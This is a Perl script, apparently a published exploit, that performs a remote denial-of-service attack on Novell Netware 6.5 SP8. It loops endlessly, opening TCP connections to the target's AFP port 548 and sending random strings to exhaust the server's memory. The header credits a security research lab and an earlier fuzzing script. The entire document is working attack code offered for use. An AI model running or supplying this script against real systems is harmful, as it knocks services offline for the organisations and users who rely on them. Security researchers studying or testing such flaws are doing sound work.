#!/usr/bin/perl # Novell Netware CIFS And AFP Remote Memory Consumption DoS # Platform: Novell Netware 6.5 SP8 # Found by Francis Provencher for Protek Research Lab's # http://protekresearch.blogspot.com/ # {PRL} Novell Netware CIFS.nlm Remote Memory Consumption Denial of Service # Here is a modified version from the script written by the researcher Jeremy Brown # http://jbrownsec.blogspot.com/2009/12/writing-code-that-breaks-code.html #
use IO::Socket; use String::Random;
$target = $ARGV[0]; $port = 548; $protocol = tcp; $maxsize = 666; $random = 0;
if((!defined($target) || !defined($port) || !defined($protocol) || !defined($maxsize))) { print "usage: $0 <target> \n"; exit; }
while(1) { $sock = IO::Socket::INET->new(Proto=>$protocol, PeerHost=>$target, PeerPort=>$port) or logit();
$rand = new String::Random; $random = $rand->randpattern("." x rand($maxsize)) . "\r\n\r\n";
$sock->send($random); close($sock); }
|